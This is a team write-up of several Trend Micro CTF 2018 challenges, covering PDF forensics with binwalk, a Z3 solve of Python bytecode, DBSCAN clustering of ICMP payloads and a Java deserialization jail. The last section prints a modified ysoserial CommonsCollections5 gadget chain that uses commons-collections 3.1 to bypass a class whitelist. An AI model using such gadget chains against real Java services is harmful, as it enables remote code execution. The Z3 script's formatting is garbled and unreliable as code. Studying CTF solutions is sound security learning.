# Trend Micro CTF 2018

## Analysis-Offensive

### 200

We are given a program oracle which reads our input. If our input matches the flag, it outputs True, otherwise, False.

According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.

So, let's take a look at the system calls it uses:

### 300

We can dump a x86 boot sector from email.pdf, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.

It has one more parameter -g than the original binary. At function sub_C42690("34534534534534534534534erertert676575675675675", 10) return value is 0xfbfa, when we change hex to decimal, we got the flag 64506

## Reversing-Other

### 100, 200 (sces60107)

I will finish these part of writeup in my free time QQ

### 400 (sces60107)

1. Use dis.dis then you can extract python code
2. Use Z3 to reconstruct the flag python= from z3 import *

s=Solver()

flag=[]

summ=0

for i in flag: summ+=i s.add(summ%24 == 9) s.add(summ/24 == 104) inval=[]

for i in flag: inval.append(i^104) ROFL=list(reversed(inval)) KYRYK = [0]5 QQRTQ = [0]5 KYRYJ = [0]5 QQRTW = [0]5 KYRYH = [0]5 QQRTE = [0]5 KYRYG = [0]5 QQRTR = [0]5 KYRYF = [0]5 QQRTY = [0]5 print len(inval)

for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[ij] QQRTW[i] += inval[ij] KYRYH[i] ^= inval[ij+8] QQRTE[i] += inval[ij+8] KYRYG[i] ^= ROFL[ij+8] QQRTR[i] += ROFL[ij+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1

for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k) for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k) for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k) for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j) for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k) for i,j in zip(QQRTE,' j36~'): k=ord(j)

#print i,j s.add(i == k) for i,j in zip(KYRYG,' M2S+'): k=ord(j)

#print i,j s.add(i == k) for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k) for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k) for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k) print s.check() realflag = "" for i in flag: realflag+=chr(s.model()[i].as_long()) print realflag # TMCTF{SlytherinPastTheReverser}  ## Misc ### 100 shell$ binwalk EATME.pdf

--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.7"
353           0x161           JPEG image data, JFIF standard 1.01
383           0x17F           TIFF image data, big-endian, offset of first image directory: 8
749016        0xB6DD8         Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt
749123        0xB6E43         Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt
4969997       0x4BD60D        End of Zip archive, footer length: 31, comment: "Boooooom!"
4970099       0x4BD673        Zlib compressed data, default compression
4971214       0x4BDACE        Zlib compressed data, default compression
4971660       0x4BDC8C        Zlib compressed data, default compression

There are files flag.txt and glaf.txt. Try:

$binwalk -Me EATME.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PDF document, version: "1.7" 353 0x161 JPEG image data, JFIF standard 1.01 383 0x17F TIFF image data, big-endian, offset of first image directory: 8 ^C Flag is in flag.txt. Be sure to press ^C, otherwise, the file galf.txt with size -1 will be extracted... FLAG: TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==} ### 200 We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them: $ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*'  -o
4.242410,2.970880
4.242410,2.970880
7.021890,1.989350
...

Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the source available. Also we adjust the DBSCAN parameters eps and min_sample. In fact several pairs of eps and min_sample can produce the desired result.

import matplotlib.pyplot as plt
import seaborn as sns; sns.set()  # for plot styling
import numpy as np
from sklearn.datasets.samples_generator import make_blobs
from numpy import genfromtxt
from sklearn.cluster import DBSCAN

#humm, encontre este codigo en un servidor remoto
#estaba junto con el "traffic.pcap"
# que podria ser?, like some sample code

X = np.genfromtxt('test_2.txt', delimiter=',')
print(X)
db = DBSCAN(eps=0.3, min_samples=10).fit(X)
labels = db.labels_
n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)
unique_labels = set(labels)
colors = [plt.cm.Spectral(each)
for each in np.linspace(0, 1, len(unique_labels))]
for k, col in zip(unique_labels, colors):
plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
markeredgecolor='k', markersize=14)

#NOTE: what you see in the sky put it format TMCTF{replace_here}
#where "replace_here" is what you see
plt.title('aaaaaaaa: %d' % n_clusters_)
plt.show()

With @sces60107's sharp eyes, we quicklly realize that this is the mirror or FLAG:1. And the rest of the work is to guess the flag. Try each combination of One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....

The flag comes out to be TMCTF{flag:1}.

### 300

The challenge is about java unsafe deserialization. The file includes commons-collections-3.1.jar and a web server, which deserializes the user's input:

// Server.java
@WebServlet({"/jail"})
public class Server
extends HttpServlet
{
private static final long serialVersionUID = 1L;

public Server() {}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
try
{
ServletInputStream is = request.getInputStream();
ObjectInputStream ois = new CustomOIS(is);
ois.close();
response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");
} catch (Exception e) {
response.setStatus(500);
e.printStackTrace(response.getWriter());
}
}
}                
// CustomOIS.java
public class CustomOIS
extends ObjectInputStream
{
private static final String[] whitelist = { "javax.management.BadAttributeValueExpException",
"java.lang.Exception",
"java.lang.Throwable",
"[Ljava.lang.StackTraceElement;",
"java.lang.StackTraceElement",
"java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection",
"java.util.ArrayList",
"org.apache.commons.collections.keyvalue.TiedMapEntry",
"org.apache.commons.collections.map.LazyMap",
"org.apache.commons.collections.functors.ChainedTransformer",
"[Lorg.apache.commons.collections.Transformer;",
"org.apache.commons.collections.functors.ConstantTransformer",
"com.trendmicro.jail.Flag",
"org.apache.commons.collections.functors.InvokerTransformer",
"[Ljava.lang.Object;",
"[Ljava.lang.Class;",
"java.lang.String",
"java.lang.Object",
"java.lang.Integer",
"java.lang.Number",
"java.util.HashMap",
"com.trendmicro.Person" };

public CustomOIS(ServletInputStream is) throws IOException {
super(is);
}

public Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException
{
if (!Arrays.asList(whitelist).contains(des.getName())) {
throw new ClassNotFoundException("Cannot deserialize " + des.getName());
}
return super.resolveClass(des);
}
}

// Person.java and jail/Flag.java
public class Person implements Serializable {
public String name;

public Person(String name) {
this.name = name;
}
}

public class Flag implements Serializable {
static final long serialVersionUID = 6119813099625710381L;

public Flag() {}

public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }
}


I use jd-gui to decompile the java class files.

The objective is to invoke Flag.getFlag(). However, it's tricky because:

1. getFlag() is static (class method)
2. Server.java only accesses the member person.name.
3. The server doesn't invoke any other method.

So we quickly realize it's not possible to call getFlag(). We need RCE / more powerful exploit.

We note that the CustomOIS.java uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like javax.management.BadAttributeValueExpException.

With a quick Google we found ysoserial can generate RCE payload for commons-collections:3.1, which is the dependency of the server.

Actually the CommonsCollections5 utilizes those classes in the whitelist to trigger RCE, but Java.lang.Runtime is not in the whilelist. I think it's not able to RCE.

Though we cannot call Runtime.exec(), at least we can try to invoke Flag.getFlag().

Here is the modified version of CommonCollection5.java:

// Some of the code is omitted.
...

import java.io.Serializable;
class Flag implements Serializable {
static final long serialVersionUID = 6119813099625710381L;
public Flag() {}
public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }
}

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Flag.class), // Flag class here
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getFlag", new Class[0] }), // invoke static method getFlag
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new ConstantTransformer(1) };

...


We have generate the payload, but the class name of Flag is incorrect; it should be com.trendmicro.jail.Flag. Let's use Python to do the replacement trick:

# The first byte is the length of the class name
replace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')

The flag: TMCTF{15nuck9astTheF1agMarsha12day}